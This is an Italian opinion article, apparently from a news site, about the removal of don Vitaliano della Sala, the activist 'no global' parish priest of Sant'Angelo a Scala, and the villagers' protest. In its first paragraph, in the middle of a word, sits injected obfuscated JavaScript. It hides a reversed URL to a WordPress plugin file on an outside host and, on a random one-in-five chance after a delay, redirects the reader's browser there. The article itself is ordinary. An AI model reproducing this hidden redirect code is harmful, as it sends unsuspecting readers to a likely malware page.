Don Vitaliano 'scomunicato' dalla Chiesa

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Cosa bisogna fare per essere dei buoni parroci? A giudicare da ciò che sta accadendo in questi giorni, è difficile riuscire a dare una risposta. Nel momento in cui un parroco, come don Vitaliano della Sala, impegnato in prima persona in attività in favore dei poveri e degli emarginati, viene allontanato dalla propria Chiesa, non resta che da chiedersi cos’altro può accadere. Fatto sta, che il parroco di Sant’Angelo a Scala, piccolo centro dell’Irpinia, passato alle cronache come “il prete dei no global” non ha più una chiesa. E’ stato rimosso proprio gli ultimi giorni di novembre, mentre la comunità di Sant’Angelo stava prepar (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando una festa per i dieci anni del suo parroco. Il 7 dicembre però don Vitaliano non ci sarà a festeggiare. Il vescovo, abate Tarcisio Nazzaro, lo ha invitato, tramite raccomandata, a recarsi in Curia per la notifica del decreto di rimozione dall’ufficio di parroco. Ma cosa ha fatto don Vitaliano di così grave da essere addirittura rimosso? L’accusa è di creare “caos e sconcerto” tra i fedeli, con l’aggravante di non essersi attenuto ai numerosi richiami che monsignor Nazzaro ha rivolto al sacerdote “ribelle” nel corso degli ultimi anni. Nella lettera dell’abate di Montevergine si legge inoltre: “Perseveri nella frequenza di “centri” e “associazioni” ben noti per la diffusione di idee in contrasto con la dottrina e l’insegnamento della Chiesa e che non rifuggono dalla violenza..” Ma adesso al catechismo cosa insegnano? Intolleranza, violenza e uso egoistico di beni e risorse? La lettera termina con un augurio del vescvo: “Che la Vergine Santissima Regina di Montevergine ti illumini così che tu possa ravvederti e vivere il tuo sacerdozio come si conviene”.
La sua interpretazione movimentista della Chiesa gli ha procurato 11 denunce penali – oltre a 3 autodenunce ed una richiesta di risarcimento danni da parte della Lega Nord – quasi tutte finite in un’assoluzione.
Durante gli anni passati a Sant’Angelo, il parroco si è schierato con il suo paese per fermare l’insediamento di discariche in parchi naturali, ha contestato la ricostruzione post-terremoto, si è espresso a favore del boicottaggio della guerra nella ex Jugoslavia, ed ha abbracciato sin dall’inizio teorie e pratiche del movimento no global, partecipando anche alle manifestazioni contro il Global Forum di Napoli ed il G8 di Genova. I presepi a tema sono una delle sue iniziative “passate alla storia”. Basti ricordare Gesù Bambino incappucciato come il subcomandante Marcos oppure sistemato sopra un gommone, come un albanese in procinto di attraversare l’Adriatico.
I problemi di don Vitaliano con la Chiesa, com’è facile intuire, sono cominciati tempo fa. La sua partecipazione al Gay Pride di Roma l’8 luglio del 2000, anno del Giubileo, provocò scandalo e indignazione negli ambienti del Vaticano. A peggiorare la situazione, gli attacchi che in quell’occasione rivolse al cardinale Sodano e al cardinale Pio Laghi, colpevoli “di aver fatto carriera sulla pelle dei desaparecidos argentini e delle vittime di Pinochet”. Dire la verità – lo ha dimostrato più volte la storia – è pericoloso nel nostro mondo.
Conseguenza immediata, l’arrivo della prima ammonizione, che gli vietava di avere contatti diretti con i mass media. La seconda non ha tardato, è arrivata il 3 luglio 2001, dopo il viaggio a sostegno della marcia zapatista in Chiapas. In quel momento, il provvedimento fu bloccato grazie all’intervento attivo degli 800 abitanti di Sant’Angelo, che hanno fatto una raccolta di firme ed una mozione approvata all’unanimità dal consiglio comunale convocato ad hoc. Oltre alla solidarietà di Verdi, Rifondazione ed ovviamente del movimento no global.
La Curia non avrà certamente gradito neanche le indagini della procura di Genova su don Vitaliano, sospettato di istigazione a commettere reati, per aver indotto i giovani manifestanti ad assaltare una camionetta delle forze dell’ordine (non quella dell’episodio in cui è morto Carlo Giuliani) ,e incendio. Don Vitaliano, infatti, in un filmato compariva vicino alla camionetta. Cosa che lui non ha mai negato, ma ha anzi spiegato. “C’ero e mi sbracciavo – ha dichiarato – per dire ai carabinieri di allontanarsi. Avevo visto dei ragazzi con bastoni e pietre che prendevano di mira l’automezzo, e temevo che i militari potessero essere feriti”. Ma, anche l’iscrizione nel registro degli indagati non è cosa nuova per il parroco. Il precedente riguarda l’occupazione – assolutamente pacifica – degli stabilimenti dell’Augusta (che costruisce pezzi di ricambio per elicotteri), avvenuta a Benevento nel 1999. Azione per la quale il prete no global risulta indagato dal Tribunale di Benevento per danneggiamento e interruzione dell’attività produttiva.
Incendiario a Genova, pacificatore a Napoli. “Grazie al prete amico dei no global quel giorno a Napoli sono riuscito ad evitare il peggio”. Lo ha scritto nero su bianco un funzionario di polizia, Pietro de Rosa della Digos, che quel 17 marzo era in piazza, nel cuore degli scontri. Con una dinamica piuttosto complicata da spiegare, nel momento in cui poliziotti e manifestanti erano imbottigliati in Piazza Municipio, gli uni e gli altri senza possibilità che non fosse quella di scontrarsi e di farsi avvelenare dai lacrimogeni, “contribuii – si legge nella relazione di De Rosa indirizzata al questore Nicola Izzo – con don Vitaliano della Sala ed alcuni esponenti della Rifondazione comunista e dei centri sociali a placare gli animi dei manifestanti più esagitati”.
Tra le ultime azioni del parroco c’è stata l’autodenuncia dopo l’arresto dei 20 no global. “Se Caruso ha commesso dei reati, ma non è così – ha sostenuto in quest’occasione – allora sono responsabile anch’io visto che faccio parte del movimento”. Il sacerdote ha parlato di una strategia che vuole colpire il movimento: “A Genova hanno usato le forze dell’ordine, qui si usa la magistratura”. Qualche giorno prima della sua “scomunica”, ha partecipato alla manifestazione degli operai della Fiat, camminando a braccetto con Luca Canarini, dei Disobbedienti. Ha motivato la sua presenza con il semplice concetto che “i problemi degli operai devono ricominciare ad essere di tutti”. E durante un’omelia domenicale, ha parlato dei clandestini morti in un tir, dicendo che la responsabilità dell’accaduto ricade su tutta la società civile. “Accettare fino in fondo il Vangelo di Nostro Signore e l’insegnamento della Chiesa ci deve portare a denunciare fermamente l’imperante ondata di razzismo e ci deve far andare controcorrente rispetto al dilagare del perbenismo ipocrita dei benpensanti”. Altro che rimozione, se i parroci fossero per la maggior parte come Don Vitaliano chi mancherebbe alla messa della domenica?
Fatto sta che il vescovo ha preso la sua decisione. “Se il provvedimento è stato adottato obbedirò, come ho sempre fatto”. Non cerca la ribellione don Vitaliano, ma ha aggiunto che “non ho fatto nulla di male. Ho portato la parola del Signore e la solidarietà agli operai in lotta per l’occupazione. La mia eventuale rimozione è una condanna che riporta la Chiesa della gerarchia indietro di decenni. E’ come se qualcuno volesse cancellare dalla storia dei cristiani e della chiesa cattolica il Concilio Vaticano II. Possono mandarmi via, ma questa storia non riusciranno a cancellarla”. Don Vitaliano andrà a vivere tra i disoccupati ed i senza tetto napoletani, per vivere, con sette/ottocento mia lire al mese, in prima persona quel disagio.
Non si è tirato indietro nemmeno in quest’occasione il Movimento dei Disobbedienti , che si è schierato solidale dalla parte del parroco compagno di lotta, a cui si sono aggiunti i Verdi, lo Sdi e Rifondazione.
Ma la comunità di Sant’Angelo poteva rimanere a guardare? Certo che no. E infatti la domenica del primo dicembre, il nuovo parroco, dirigendosi in Chiesa per celebrare la sua prima Messa , ha trovato una sorpresa: la porta della Chiesa murata. Opera dei cittadini del piccolo paese, che hanno manifestato per il ritorno del loro parroco. E’ difficile credere che l’abate Tarcisio Nazzaro ritorni sui suoi passi, sarebbe come ammettere di aver sbagliato tutto, interpretazione del cattolicesimo compreso. Certo che gli abitanti di Sant’Angelo gli hanno dato una bella risposta..oppure no, che siano tutti peccatori che hanno smarrito la diritta via?

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